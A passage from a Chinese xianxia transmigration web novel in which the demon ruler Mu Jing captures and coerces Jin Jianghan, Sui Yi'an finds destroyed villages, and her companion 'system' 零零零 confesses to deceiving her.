靳江浛觉得自己真没用,想了一个下午都想不出谙生气的原因。
岁忆谙今日心慌极了,最令她恐惧的时,她并不知晓自己为何心慌。
所以今日的情绪才十分低落,她总感觉有什么不好的事情要发生。
岁忆谙上手拉过叹气:“我没有生气,赶紧回去吧,奶奶还在家里等我们。”
“好,我背你吧。”
靳江浛说得很平常,但语气弱弱的,双手死死地拧着自己的衣摆,布料都要被他拧破洞了。
岁忆谙觉得靳江浛就像是一块玻璃,轻轻碰一下就会碎掉。
为了防止玻璃碎裂,岁忆谙只好当一回好人了。
靳江浛背起岁忆谙,两人伴着灿烂的晚霞走在回家的道路上。
当晚,睡梦中的岁忆谙被突如其来的猫叫声吵醒了,随之而来的是靳江浛不耐烦的骂声。
“别吵了,信不信我把你皮扒了喂鸭!”
“喵!喵!喵!”
回应靳江浛的是凄厉的猫叫声。
“别叫了。”靳江浛咬牙切齿,他本想施法让黑猫发不出声音的,可他却发现自己的魔力对它没用。
半梦半醒的岁忆谙披了件外衣推开门,门的吱呀声打断了一人一猫的交流。
“喵~”一见到岁忆谙,蹲在门口的黑猫瞬间转调,声音婉转清脆,耷拉下来的尾巴高高抬起。
岁忆谙蹲下身,惊喜道:“小猫咪,你来啦。”
岁忆谙只当黑猫是一只无主的流浪猫。
黑猫在岁忆谙身边转了一圈,最后准备躺下打滚时,靳江浛一把拎起它的后脖子。
“你继续睡,它太脏了,我去给它洗澡。”
说罢,靳江浛拎着黑猫转身。
桃花村后山———
靳江浛将手中的黑猫丢在地上。
黑猫四脚落地的瞬间化出人形,是一个容貌俊秀的男子。
一见到是个男的,靳江浛眉眼染上戾气,化出长剑,剑尖指向他,说:“你是穆净派来的傀儡?”
“喵!”
男子张嘴,发出的声音并不是人话,而是刺耳的猫叫。
靳江浛见此情景,心下了然。
在化成人形的那一刻,靳江浛就发现了他身上的魔气。
看样子,男子就是傀儡,以为自己是一只猫的傀儡。
岁忆谙说,这只猫从无极宫跟来,看来是穆净派来盯着岁忆谙的。
傀儡是杀不死的,就算化成骸骨有了魔力也会重新现形,真是难办。
靳江浛不再废话,一剑挥向男子。
再把男子的尸体丢到满是野兽的山林里,让野兽啃食殆尽。
靳江浛并不知晓男子是否告知穆净自己的下落,反正桃花村是不能待了,今日就得走。
只是他没发现的是,原本断了气的男子重新睁开双眼。
一双竖瞳在漆黑的环境中格外明亮。
道路两旁种着看不见尽头的桃花树,自从靳江浛养了桃花枝后,看到长势好的他就想折。
反正都要离开这里了,他就再折几枝吧。
靳江浛怀中已经抱了好几枝桃花,看着长长的路,他想,他应该是折不完了。
忽然,花瓣无风自落,靳江浛停下脚步,警惕地看向前方。
“靳江浛,我们寻找了你那么久,结果你跑到这儿逍遥快活。”
熟悉的妖气令靳江浛心中咯噔了一下,一身黑衣的流萤就站在前方。
同样的,身后也站着几个熟人,黎绕月,裴汔,柳微晴都在里头。
靳江浛捧着桃花枝想跑,才挪一步,他就发现自己动不了了。
靳江浛望天叹息,十分懊恼自己的举动。
明明院里就有花了,他怎么还出来折,就应该尽快回去将岁忆谙带走才对。
脚下出现一个熟悉的阵法,阵法泛着光,靳江浛双腿发软,毫无防备地单膝跪地。
靳江浛面露难色,他运转魔力强撑着站起身来,狠狠地扫了他们一眼,化出岁岁挥去。
趁着他们躲避之时,靳江浛带着桃花枝消失在原地。
流萤叹道:“鬼石魔力果然强劲。”
几人纷纷追去,就在靳江浛即将到家时,一条黑色的鞭子出现,缠住了他的脚踝。
鞭子绷直,只是一瞬间,靳江浛被拽得甩在地上,桃花枝被他紧紧护在怀中,可还是有些许花瓣被甩落。
靳江浛迅速飞身站起,他一剑挥断脚上的鞭子,再将岁岁甩出,想让它带岁忆谙离开。
只可惜,岁岁才飞到一半就又被那条鞭子缠住,鞭子一甩,连鞭带剑一同飞到了持鞭人手中。
与此同时,靳江浛的脚下出现压制鬼石魔力的阵法,他再度瘫倒在地。<
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p>“主上。”流萤走到穆净身边。
不知何时,穆净出现了。
她挺直着背,视线下移,轻蔑的眼神落在靳江浛身上,道:“靳江浛啊靳江浛,玩了这么些天,应该够了吧?”
靳江浛没有理会穆净,而是将掉落的桃花枝重新拿回到自己怀中,然后撑着地打算起身。
阵法对鬼石魔力的克制加重了,靳江浛趴在地上,一点儿力气都使不出来。
靳江浛并未放弃,他抱着花枝,手臂撑着地,往家门口爬去,试图爬出阵法范围。
看到这一幕的穆净挑眉,她制止了其余人接下来的动作,然后挥舞鞭子,一鞭子甩在靳江浛背上。
靳江浛的背部出现了一条长长的鞭痕,皮肉就如同鲜花一样绽开。
穆净又施法布下一道吸血阵法,紧接着像是看好戏般看着地上的人。
鲜血加速流失,浸透衣衫,最后滴落在阵法之上。
黎绕月不忍直视地别过眼,而裴汔倒看得津津有味。
夜风微凉,整座桃花村在月光的笼罩下,显得格外凄冷。
岁忆谙睡得很熟,她并不知晓外面所发生的一切,因为穆净布下了结界。
睡梦中的岁忆谙用手挥了挥耳边吵闹的蚊子,拉着被子翻了个身继续睡去。
院门外,一群人围着趴在地上的靳江浛,他们的目光纷纷落在他的身上。
有的目光充满怜悯,有的目光充满讥讽,有的目光平淡如水。
靳江浛的手死死地攥着桃花枝,他心中只有一个念头。
他要让岁忆谙看到自己亲手折下的桃花枝。
靳江浛双目猩红,颈部青筋暴起,用尽全身力气才往前爬了一点点,抬头看向家门口。
明明近在咫尺,可他却怎么也到不了。
“别白费力气了,只要你体内有鬼石魔力,那你就永生永世都摆脱不了这个符文。”
穆净的话令靳江浛心凉了半截,他没想到助他复仇的鬼石,在今日会使他被数人围攻。
靳江浛并未徒增伤悲,他依旧往前爬着。
“只要你放弃鬼石魔力,本君就放了你如何?”穆净轻笑,她只要鬼石魔力,靳江浛是死是活她并不在乎。
只可惜,她并未寻到抽取魔力的法子。
靳江浛不可能放弃鬼石魔力,倘若放弃鬼石魔力,他就真的只有死路一条了。
手臂一点点向前挪动,地上出现血痕,桃花散了满地,花瓣被碾轧成泥,还混着猩红的血。
身躯无力,心也无力。
就在靳江浛伸出的手即将离开法阵的范围时,穆净上前,毫不犹豫地一脚踩在靳江浛背部的伤口上。
本就撕裂开的皮肉涌出更多的血。
血流得更快了。
靳江浛刚开始还想用双臂支撑起来,可终究还是抵不过穆净的力度,整个人苟延残喘地趴在地上。
看见这一幕的柳微晴微微皱眉,她能感觉到自己背部隐隐作痛,毕竟她身上还有靳江浛残留的魔力。
要是靳江浛死了,她不也会死?
正当柳微晴想说些什么时,趴在地上的靳江浛开口了。
“我可以跟你们回去,只要你们不动岁忆谙。”靳江浛语气虚弱。
穆净嗤笑,欲开口,站在一旁欧阳浅说:“主上!”
61. 但愿吧
穆净背着手站立,斜眼看去,眼神淡淡,但欧阳浅还是被吓了一跳,她单膝下跪,硬着头皮说:“主上,求您放了岁忆谙吧。”
在来捉人前,画屏特意叮嘱欧阳浅不要对岁忆谙下手,她能怎么办?只能听娘的了。
穆净听后,脑中回想,她记得梦里岁忆谙并未出现,况且岁忆谙来路不明,就像是凭空出现的。
派出去的人也查不到岁忆谙的身份,那她肯定有过人之处,也不知晓她会不会阻碍自己的大计。
穆净思索了一番,道:“行吧。”
此话一出,在场的人都不约而同地松了口气。
“柳微晴,不要忘了你的名字是谁给你取的!”
靳江浛说了这么一句。
被提到的柳微晴收到了其余所有人的视线,而柳微晴用面无表情回应。
晨曦的阳光透过窗洒在岁忆谙身上,她睁开双眼,在榻上赖了一炷香才起床。
洗漱完毕的岁忆谙并未见到靳江浛,楚奶奶也不知晓他去了哪里。
岁忆谙来到院门,一打开门,血腥味扑鼻而来。
她看见不远处的土地上有一大摊干涸了的血迹,血迹中还有几枝烂掉的桃花。
桃花不再芬芳,而是变得腥臭无比。
见此一幕,岁忆谙心砰砰跳着,不好的预感涌上心头。
“岁丫头,你站门口干啥呀?”院里传来楚奶奶的声音。
“啊?没事!”
岁忆谙回应完,为了防止吓着奶奶,她迅速打了盆水将血迹冲掉。
血水融入地底,门口恢复原样,仿佛一切都没发生过。
端着盆走回去的岁忆谙视线一瞥,看见了一封信插在门缝里,她抽出来一看,署名是靳江浛。
“靳江浛的信?”岁忆谙疑惑万分,她大致看完信的内容后,眉头紧蹙。
靳江浛在信上写到,他要自己一个人去找白英空,让岁忆谙好好在家带着,等他消息。
不对劲,太不对劲了。
靳江浛怎么可能会写信给自己?他巴不得当面说出来,然后自己就会和他一起去。
岁忆谙思维混乱,她拿着信呆呆站在门口。
她现在该做什么?去找靳江浛还是等着靳江浛回来?靳江浛不会出事了吧?
一大堆问题让岁忆谙崩溃,最终,她忽然想起,她可以去要自己去找白英空啊。
“啊!”
屋内传来楚奶奶的惨叫声,岁忆谙回过神,赶忙冲进去,一进屋就看见楚奶奶摔倒在地。
岁忆谙将楚奶奶扶到床上,想着去找大夫来看。
楚奶奶却拦下了她,说自己老了,摔一跤很正常,不用找大夫,但岁忆谙还是去找了。
上了年纪的老人摔倒是很危险的,有些时候,普通的摔倒都有可能会致命。
大夫给楚奶奶看过后,说脚踝扭了,其他并没有什么问题,岁忆谙这才放下心来。
看来,岁忆谙只能晚几日再出发去寻找白英空了。
傍晚,院门被敲响了,岁忆谙打开门一看,是一个陌生男子。
男子叫路原,岁忆谙总觉得他很熟悉。
凌仙宗———
身受重伤的白英空终于痊愈了,当他醒后得知其余长老下落不明后,气急攻心,又晕了过去。
不过只晕了不到半日,一连串的打击让白英空身心崩溃。
幽幽长夜,凌仙宗各处都挂着白绸,轻如纱的绸缎在空中飘荡,就像是鬼魂在宗门游荡。
白英空一身麻衣,他来到停放遗体的大殿。
大殿的房梁上同样挂着白绸,中央摆着一副散发着寒气的冰棺,棺内就是凌仙宗先宗主。
白英空的双眼哭到红肿,在看见冰棺的那一刻,他心中悲恸,眼眶酸涩,早已无泪涌出。
入夏了,可夏日的夜还是那么得凉,白英来到冰棺前,望着冰棺中的男人,他轻声喊了句爹。
“爹…………”白英空不知自己该说些什么。
在白英空的印象里,白宗主从不让他在外人面前喊爹。
白英空想像他爹一样保护天下苍生,他知晓宗主需要肩负的东西有很多,所以并不觉得这有什么。
只是他还未尽孝,还未与爹一同守护百姓,就连爹交付的任务都没完成,他太失败了。
白宗主的心脏被活生生地挖了出来,到底是谁这么残忍?凶手又为何要杀他?
白英空突然想到了净惜长老,不,现在应该是净惜宗主了。
在走前,白英空朝棺中的人磕了三个响头,然后才来到穆净房前。
远远的,白英空就看见穆净房门打开,他走上前敲了敲门板,听到回复才抬脚走进。
穆净一身白衣,正坐在席垫上,一条腿盘起,另一条腿支起,姿态潇洒。
桌上摆着紫砂壶和两个茶杯,一旁还燃着熏香。
白英空随意扫了一看,行礼道:“弟子白英空拜见宗主。”
“坐吧,我等你很久了。”说着,穆净将其中一杯茶放在白英空桌前。
白英空规规矩矩地跪坐在席垫上,迫不及待地问:“宗主,弟子想知晓何人会杀白………我爹。”
白英空并未在穆净面前称呼他爹为宗主,他怕穆净多想。
穆净道:“白宗主的尸体上有魔族的气息。”
穆净真不知晓该将这个锅抛给谁背,既然难以抉择,那就直接让魔族背下这口锅好了,反正人就是她杀的。
魔族也该重新出现在众仙门的视野中了。
“魔族!”白英空大惊,他又问,“宗主,长老们和靳师弟可有下落?”
谈到几人,尤其是靳江浛,穆净就有点想笑,人早就找到了,现在应该还在牢里哀嚎。
“已经派弟子去寻了。”
“宗主,弟子在寻找鬼石的路上遇见了两只妖,他们的目标也是鬼石,只可惜弟子修为不济,被他们打伤。”
一说到两只妖,穆净就知晓是那两人是谁了,但她还是装模做样地问:“你可知那是何妖?”
“弟子不知,不过女子叫黎绕月,男子叫裴汔。”
百年前仙魔大战后,月蛇妖族逐渐淡出了人们的视野,黎绕月早早离开了月蛇妖洲,所以并没有多少人知晓她。
裴汔亦是。
穆净道:“原来是这两人。”
“宗主知晓?”
“黎绕月是月蛇妖族族长的女儿,裴汔是雪蛇妖族的,你不认识很正常,你爹还不是凌仙宗宗主时,这两人就出生了。”
白英空愣了一下,他爹因为修炼得以长寿,现在一百五十多岁,那……那两只妖岂不是一百多岁了。<
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白英空瞬间觉得自己败给两只妖也没什么,两只百年修为的妖,他二十多年的修为肯定打不过。
不过一想到鬼石,白英空愧疚感又上来了,他起身走到一旁,朝穆净跪下。
“请宗主饶恕弟子。”
穆净被白英空的举动整懵了,沉静的脸上透露出了些许迷茫,问:“饶恕你什么?”
“弟子弄丢了寻找鬼石的法器,请宗主恕罪。”
原来是这件事,穆净抿了口茶压压惊,她满不在乎道:“这没什么,法器可比不过一个人。”
此话一出,白英空蹙眉,他明明记得宗主将罗盘交给他时,说这法器是世上仅此一件,说它有多么多么重要。
怎么现在看起来,宗主并不在乎这件法器。
还未等白英空想清楚,穆净就说:“宗门动荡,人心惶惶。”
“白英空,你身为宗门大师兄,可要担起自己应有的责任。”穆净收回脚,理了理裙子,语气郑重,看样子满心满眼都是宗门。
“弟子知晓,定不负宗主信任。”
白英空从穆净房中离开时,还在思考她为何不在乎罗盘。
魔族现世,未来的某一日怕是有一场硬仗要打。
只不过宗主为何要穿一双红鞋?
在宗主收脚时,白英空眼尖地看见了一双红色鞋子。
在白色的凌仙宗中,那双红鞋格外引人注目。
凌仙宗三成的弟子都出去寻人了,听他们说,各派宗门都派人到魔域看守。
长老们不在,他得负责弟子们的训练。
两个月后———
靳江浛和长老们依旧没有下落,整个凌仙宗里的氛围都十分低沉,像是有一团死气笼罩在宗门上空。
与此同时,魔域也传来了噩耗,驻守在那里的宗门弟子都死了。
尸体被统一丢到了凌仙宗门口,上面还残留着大量的魔族气息,生怕别人不知晓是魔族下的手。
魔域外布下了结界,谁都进不去,谁都不知晓里头的状况。
一夜之间,魔族重现于世的消息传遍各个宗门,众人过得胆战心惊。
白英空实在是等不了了,他将训练事宜交给了宗门内另一位师兄,自己则离宗去寻找靳江浛和长老。
白英空刚离开凌仙宗,就遇到了一名问路的女子。
女子风尘仆仆,她站在分叉路口,神情迷茫,当白英空走过去时,女子拦下了他。
“公子。”
白英空停下脚步。
“我想问问,凌仙宗是走哪条路?”问路的正是姚钰君。
白英空道:“你顺着左边这条路一直走便能看见凌仙宗的。”
姚钰君道谢后,欲离开时,白英空拦下了她。
“姑娘,你能否告诉我……你为何要去凌仙宗吗?”
姚钰君看着不像是修仙弟子,白英空想知晓她前往凌仙宗的目的,若是遇到困难,他还可以更快地帮助到姚钰君。
姚钰君道:“我去修仙。”
白英空问:“为何修仙?”
“保护自己呀。”
“凌仙宗会保护你的。”
“但愿吧。”
姚钰君的步伐坚定有力。
白英空望着她的孤独背影出神了一会儿,随即转身踏上寻人之路。
62. 卡机
月蛇妖洲最深处的一片沼泽地中,一条巨大的石蛇盘旋在里面,石蛇的头部高高抬起。
沾满苔藓的石蛇口中,华屿山和凌仙宗长老都不知他们在这里呆了多久,蛇口外被布下法阵,几人试了很多种法子都打不开。
“也不知英空如何了。”
石长老衣衫褴褛,鬓边的白丝凌乱,他靠在墙壁边连连叹气,其余几位长老在墙角凝神打坐。
而华屿山正大大咧咧地躺在蛇信子上睡觉,一点儿也不慌,跟在自己家似的。
直到一道身影出现在蛇口处,柳微晴飞上来后,就看见躺在脚边的华屿山,她上脚踢了踢。
华屿山掀起眼皮,仰头看了眼来人,“柳微晴,你来了。”
“跟我走吧。”
华屿山听后迅速起身,乐呵乐呵地回头看了眼满脸探究的几人,然后跟上去。
两人站在蛇口边缘,华屿山问:“我们去哪儿?”
还未等华屿山反应过来,柳微晴拽着他跳下蛇口。
华屿山一时没有防备,巨大的失重感袭来,他大叫出声。
只不过那一声还没叫完就停下了,因为双脚已经着地了。
华屿山还是被吓得魂丢了半条。
“魔主要见你。”柳微晴直直地往前走,华屿山六神无主地跟着。
大殿之上,两人走到中央,华屿山并未在殿中看见穆净的身影,他左右张望。
等了一会儿,穆净抱着白猿从偏殿走出,来到两人面前。
“华屿山,多谢你前段时间照顾微晴。”穆净笑脸盈盈。
华屿山听后有些震惊,穆净喊他过来就是为了这件事?不太可能吧,他只觉得穆净笑里藏刀。
他面上无异,道:“小事小事,公……魔主,我可以走了吗?”
“急什么,听说你是医毒谷中医术最厉害的医师,本君让微晴带你过来是为了靳江浛。”
说到靳江浛,穆净就头疼。
穆净对靳江浛的第一个要求,就是将驻守在魔域的修仙弟子杀光。
靳江浛并没有推脱,杀人而已,这个要求并不艰巨。
之后穆净打算将鬼石魔力从靳江浛体内抽出,可她试了很多种法子,都没有用。
而且得到鬼石魔力的靳江浛显然没有用心修炼,不然怎么那么弱?
她只能将靳江浛关进密室,让他好好修炼,一直练到他可以不用鬼石魔力就能将自己打败。
这两个月里,靳江浛一直修炼,一直与穆净决斗。
靳江浛资质不错,修炼速度异于常人,要不是有阵法压制鬼石魔力,穆净怕是要败在他的手下了。
偏殿,靳江浛面色虚弱地躺在榻上,一旁还站着侍从。
华屿山惊讶:“他这是做了什么?”
穆净背着手,烦躁道:“本君怎知?能治好吗?”
华屿山上手把脉,几秒后说:“没什么大事,贫血而已。”
原来是贫血,还好已经将抓来的那些人同化成魔族,要不然靳江浛怕是要血流而亡了。
“治好他。”
说罢,穆净挥袖离开。
正值午时,火伞高招,空中却飘着细雨。
不知怎得,近日桃花村多雨,虽然多雨,但空气依旧闷热,风也是热的。
路原一手为岁忆谙撑着油纸伞,一手提着编织竹篮,篮中装满了肉。
踏着遍地桃花,岁忆谙怀中抱着半人长的甘蔗,她对身旁的人笑道:“路原,多谢你帮我照顾楚奶奶。”
路原一身灰衫,从远处看去,他的身影隐没在朦胧的雨中,若隐若现。
“没事,反正我是一个人住,和你们热闹热闹也不错。”
路原是楚奶奶隔壁新搬来的,搬过来也有两个月了,这期间,他一直在帮着照顾楚奶奶。
今日的岁忆谙忧心忡忡,路原看出了她的异样,但他并不想问出口。
直到裙摆沾满湿润的泥土,两人走到家门口,岁忆谙才说:“路原,我要离开一段时间…………你能帮我照顾楚奶奶吗?”
“楚奶奶是我的家人,家人照顾家人是应该的,你不用报答我。”
路原脸上挂着笑容,只不过露着几分苦涩。
两人进了屋,路原边收伞边装作毫不在意地问:“你要去哪儿?”
“我要去找一个人,不知何时才能回来。”岁忆谙已经等了半个月,靳江浛一点儿消息都没有,肯定是出事了。
“我一个人可以照顾好楚奶奶的。”
“多谢你了。”
路原正要离开时,他突然转身,对岁忆谙说:“岁忆谙,我喜欢你。”
岁忆谙懵了:“什么东西?”
“我喜欢你。”路原又说了一句,语气郑重,像是完成任务一样。
岁忆谙挠了挠头,她问:“你为何喜欢我。”
“我……我不知,喜欢就是喜欢,所以我喜欢你。”
又一个不知……
岁忆谙仔细回想,自从路原出现后,她并没有感受到路原对她的心思。
而且路原的一举一动都很死板,该做什么,不该做什么都是程序设定好的。
岁忆谙思索后说:“可我并没有感受你对我的喜欢。”
路原:“什么意思?我不懂。”
“你不懂什么是喜欢?”
“不懂。”
“喜欢就是…………”岁忆谙正要解释喜欢的意思,却突然想到了靳江浛……
岁忆谙摆手:“好吧,我也不懂。”
岁忆谙绕着路原转了一圈,没看出什么异常,她问:“路原,你真的是路原吗?”
路原显然没有想到岁忆谙会问这个问题,他张口。
“我…我不是……不是………是…是啊。”路原机械般开口,眼珠子变得空洞,嘴巴一张一合。
“我是路原。”
路原的异样吓到了岁忆谙,她下意识倒退两步。
“你…………卡机了?”岁忆谙不确定地问。
怎料路原直接朝她点了点头。
岁忆谙无奈扶额,这个路原又是什么东西?
不过奶奶有人照顾她就放心了,奶奶的脚也差不多好了,路原一个不知名东西应该没什么问题。
当晚,岁忆谙收拾好布袋子,跟楚奶奶说明了情况,楚奶奶硬是要将她送到村口。
岁忆谙和楚奶奶道别,确定身后的人看不见自己后,她从布袋子里拿出穿梭符。
“现在该不该去凌仙宗找人呢?”
去哪儿找人是一个大难题,凌仙宗在魔族公主的掌控下,那她还要去凌仙宗吗?
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万一白英空回到凌仙宗了呢?
还是算了吧,那先到月蛇妖洲找黎绕月?
现如今只有这一个法子了,虽然月蛇妖洲与魔族来往密切,但黎绕月在月蛇妖洲比白英空在凌仙宗的概率要大。
再不济就去雪蛇洲找裴汔,或是去医毒谷找柳微晴。
岁忆谙默念着月蛇妖洲,穿梭符泛着光,待光熄灭后,她就站在了月蛇妖洲的土地上。
距离上一次来月蛇妖洲已经过去了百年,岁忆谙四处大量,似乎没有什么变化。
周围的地面坑坑洼洼,暗黑色的天空格外压抑,岁忆谙刚走出几步,身边落下数到身影。
“何人擅闯月蛇妖洲?!”
岁忆谙被守卫吓了一跳,她开口:“那个是来找……”
为首的于叔打断了岁忆谙的话,他下令:“废话少说,捉起来!”
岁忆谙下意识拔腿跑掉,她怕自己连黎绕月的衣角都没看见就被守卫杀死了。
再度拿出一张穿梭符,慌乱之中,随便说了一个熟悉的地点后,岁忆谙在众人面前消失。
身后追来的守卫面面相觑,于叔觉得事情古怪,他找到黎绕月。
“少主,刚刚地界内闯入一名陌生女子,我们追捕她时,她却凭空消失了。”
“凭空消失…………”说到消失,黎绕月突然想到了岁忆谙,她问,“那女子腰间可别有一个布袋子?”
于叔仔细回想,然后点头:“有,那女子好像拿了什么东西出来,属下没有看清。”
岁忆谙为何会出现在月蛇妖洲?
就在黎绕月想去找岁忆谙时,穆净出现了。
魔境密室———
自从华屿山治好了靳江浛的贫血后,一个回到了密室,一人回到了蛇口大牢。
穆净来到密室,当她得知岁忆谙出现后,她的心中就有了一个计划。
靳江浛还在修炼,意识到有人进来,他睁开眼,看见了门口的穆净。
穆净笑道:“靳江浛,你可休息够了?”
面对穆净,靳江浛并不想给她好脸色,他冷声道:“今日不是决斗的日子吧,你来干什么?”
穆净每隔七日就会来密室找靳江浛打架。
穆净轻柔着抚摸着手中的白猿,开口说:“本君带来了一个好消息,你要听吗?”
靳江浛没理会她,穆净也不在意靳江浛是否回答。
“岁忆谙出现在了月蛇妖洲。”穆净自顾自说着。
此话一出,靳江浛立刻变了脸色,他抬眼看向穆净,眸子漆黑无比,眼神冰冷,身上黑气涌现。
穆净能感受到鬼石魔力的威力,就连密室壁上刻着的符文对鬼石魔力抑制都减弱了。
她有预感,倘若岁忆谙真出了什么事情的话,这间密室怕是困不住靳江浛了。
“今日本君来此,是给你带来了一个更好的消息。”穆净无视靳江浛的眼神,悠悠开口。
“你若不想受本君掌控,不想被关在这里不见天日,还想见岁忆谙的话就必须答应我的几个条件。”
“我要你对天起誓,你必须重振魔族,不能做出对魔族不利之事,否则…………”
“否则永生永世都见不到岁忆谙,不仅见不到岁忆谙,身躯每日还要承受千刀万剐之痛。”
63. 真相
穆净缓缓说出自己的条件,鬼石魔力可以留在靳江浛体内,但她必须保证靳江浛为魔族所用。
见不到岁忆谙这个惩罚太轻了,痛在心上算什么,痛在身上的才算痛。
这次,穆净等待着靳江浛的回答,等了好一会儿,她不耐烦道:“想好了吗?”
靳江浛低头沉思着,他心中满是不甘。
早知如此,当初他就应该将其余魔族一同杀死,永绝后患,这样就不会有人再来打扰他与岁忆谙。
“我靳江浛对天起誓,我会重振魔族,我不会做出对魔族不利之事,若违此誓………”
靳江浛顿了顿,接着他艰难说道:“便让我永生永世不见岁忆谙,每日承受千刀万剐之痛。”
话音刚落,密室壁上抑制鬼石魔力的符纹散出金光,看见这一幕的两人都愣住。
金光逐渐变弱,直至消失,壁上的符纹黯淡无光,似乎失去了抑制能力。
两人还能在密室里听见微弱的雷声,穆净知晓,这是誓言生效了,只不过壁上的符纹怎么失效了?
不过这也没关系,只要靳江浛发誓即可。
穆净咧开嘴笑,笑得格外灿烂,她心情很好地说:“去吧,记得回来,我还想早些见到岁忆谙。”
安宁村———
用穿梭符离开月蛇妖洲的岁忆谙发现自己身处一片废墟之中。
她有些疑惑,自己刚刚喊的好像是安宁村,安宁村怎么变成了废墟?
像是地面塌陷,地上都是土块,空中还弥漫着一股腐臭味,飞着许多苍蝇。
岁忆谙无从下脚,石缝中还会爬出几只米粒大小的白色虫子。
好不容易找到了一块光滑的石面,岁忆谙刚踩上去,石头底下发出了扑哧声,类似□□挤压成泥的声音。
不详的预感在心尖环绕,岁忆谙收回脚,蹲下身子。
岁忆谙看着从缝中爬出的白虫,心脏的跳动逐渐加速,她颤颤巍巍地伸手将石块掀起。
石块下是一具看不清部位的尸体,臭味冲击鼻腔,墨绿色的脓液渗出,蛆虫蜂拥而出。
岁忆谙吓得急忙后退,逃也似地跑离那片废墟,来到空旷的地方她才敢停下脚步。
恶心到令人反胃的一幕萦绕在脑中,岁忆谙到现在都还没反应过来。
安宁村是地震了吗?那阿纸阿鸢的坟呢?
岁忆谙顺着记忆上了山,在山中转了半天才找到两姐妹的坟。
山并没有塌陷,墓碑还是完好无损,看来只有村落出了事。
岁忆谙不相信安宁村会无缘无故地震,她总有种预感,□□,而是认为。
所以岁忆谙打算去洛河村看看,希望是她预感错了。
可结果总是不尽人意,望着明显被大火烧成灰的洛河村,岁忆谙耳边嗡嗡作响,脑袋空白。
村民们被烧成了干尸,他们的尸体聚集在一块儿,不知是逃跑,还是自焚。
岁忆谙双腿发颤,随即跌倒在地,她到现在都还记得自己站在山上,望向洛河村最后的那一眼。
一切生机化成灰烬,哪怕天空多么湛蓝,这里也没有翠绿的树,没有清澈的河,没有想象中的欢声笑语。
死亡的气息紧紧包裹住岁忆谙,她有些喘不过气,脑中忽然一阵刺痛,像是有千万根针同时扎进。
岁忆谙痛苦地捂着脑袋,她依旧再想这是谁干的。
这到底是谁干的?
下一刻,身侧出现一道身影。
岁忆谙艰难抬头,还未看到容貌时,身侧的人就蹲下身,她看到了一张熟悉的脸。
“靳江浛?”
岁忆谙眼前模糊,不知何时,她流了泪,泪水阻碍视线,但她依稀能分辨出面前的人是靳江浛。
“是我,我回来了。”
两个月不见岁忆谙,在密室的日子里比那百年还要煎熬。
靳江浛声音哽咽,眼中是盛不住的思念,他将岁忆谙紧紧地揽入怀中,心中的空落被填满。
岁忆谙将下巴搁在靳江浛肩上,泪水顺着脸颊滑落,落在靳江浛的衣服上。
“是你做的吗?”
靳江浛愣住,他一时不知晓自己该如何作答。
岁忆谙没有听见靳江浛的回话,她心下了然,头脑昏涨,头一歪,昏倒在靳江浛怀中。
靳江浛察觉到怀中的人没了动静,急忙喊道:“谙,谙!”
早知这些尸体会吓着岁忆谙,他就应该毁尸灭迹。
魔域———
岁忆谙终于有了意识。
可入眼是一片漆黑,伸手不见五指的黑,岁忆谙有些害怕,眼不见为净,她索性闭上眼睛,伸出手向四周摸索。
周围空空荡荡,没有一面墙能让岁忆谙倚靠,她蹲下身子,蜷缩成一团,试探性开口:“零零零…………”
【宿主,我在!】
一听到零零零的声音,岁忆谙好似找到了救命稻草一般,她问:“我这是在哪里?剧情修补好了没有?”
【没有,这里是您的潜意识。】零零零语气低沉。
什么修补剧情都是假话。
零零零只是想让岁忆谙跟靳江浛日久生情,让岁忆谙放下做任务的念头,同时放下回家的念头。
这似乎比强制让她爱上靳江浛的效果更好,岁忆谙不会受伤,它也能顺利完成任务。
可现在看来,岁忆谙的意志力比它想象中得更坚定,靳江浛也比它想象中得更没用。
接下来该怎么办?
其实零零零心软了,它不想让岁忆谙苦的。
零零零:【宿主大人,倘若这个世界有了您割舍不下的东西,未来的您还愿不愿意离开?】
【零零零说的是未来。】零零零又强调了一遍。
零零零想知道岁忆谙是怎么想的。
倘若靳江浛不愿放她离开,倘若她真的爱上了靳江浛,那她还会坚定离开这个世界的念头吗?
岁忆谙总觉得零零零说这番话有一定的用意,她问:“割舍不下,有什么东西是能让我割舍不了的吗?”
【宿主大人,这个世界不好吗?无忧无虑,还可遨游世间,您无父无母,在这里……】
“谁说我无父无母,我有家人…………我必须回去。”
岁忆谙的确无父无母,可她还有福利院。
零零零不知晓自己要不要将真正的任务告诉宿主,虽然这也不算是任务。
岁忆谙从零零零的沉默中意识到事情的不对劲,零零零到现在都不肯说真话。
她厉声道:“零零零,你是
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不是还有事瞒着我。”
零零零慌了,宿主大人有知晓事实的权力,可她知晓后会做出怎样的反应?
【宿主大人,其实百年前将您传送走后,靳江浛又意识觉醒了,这次的他试图杀死主角,我……我跟他做了交易。】零零零快速说完。
岁忆谙咬牙切齿问:“什么交易?”
【只要你能出现,他就不会杀死黎绕月和白英空,至于其他人的性命……他想杀便杀,不想杀便不杀。】
“*****!”
搞半天,自己就这么被当成交易物件送出去了,岁忆谙胸腔剧烈起伏,外表看似平静,实则肺都要气炸了。
零零零再一次屏蔽掉她的脏话,它现在手足无措,尴尬地原地打转。
岁忆谙平复心情后说:“零零零,倘若靳江浛主动放我离开,那我是不是就能离开了?”
【按理说…………应该是。】这话没什么毛病,只要靳江浛自愿放弃岁忆谙,那不就代表他不会再伤害主角了吗?
“零零零,你会帮我吗?”岁忆谙突然语气哽咽。
零零零愣住。
“你不该帮我吗?你骗了我那么久,害我在这里待了那么久,我真的很难过,我最信任的一直是你,可你却骗我………”
零零零被岁忆谙的话冲昏了头脑,宿主大人太可怜了,她明明那么信任自己,自己却背叛了她。
它的任务不就是帮助宿主大人回家吗?
【宿主大人,我一定会帮你的!】
江南宫———
靳江浛将岁忆谙带回来后,穆净就让他在魔域自选一座宫殿,江南宫还是靳江浛自己取得名字,她只觉得俗气。
卧房内,靳江浛整个人都是懵的,脑子一团浆糊,他坐在床榻边呆呆地看着岁忆谙。
一天一夜,靳江浛彻夜未眠,他一直盯着岁忆谙,视线一瞥,便看见了她手腕上的黑王蛇。
零零零不小心与靳江浛对上视线,它下意识想跑,靳江浛眼疾手快,一把捏起黑王蛇的七寸将它提起来。
靳江浛并不知道这是零零零,直到零零零开口。
【大反派,你快放开……我。】
靳江浛眸中闪过一抹诧异,在脑海跟自己沟通的系统竟是条蛇,他直接问:“谙到底怎么了?”
零零零感觉自己要被掐死了,不要啊,它好不容易塑造的蛇身。
脑子疯狂运转,零零零在想法子怎么让靳江浛死心,它心软了,它不想看到岁忆谙被控制,它艰难地吐出一句话来。
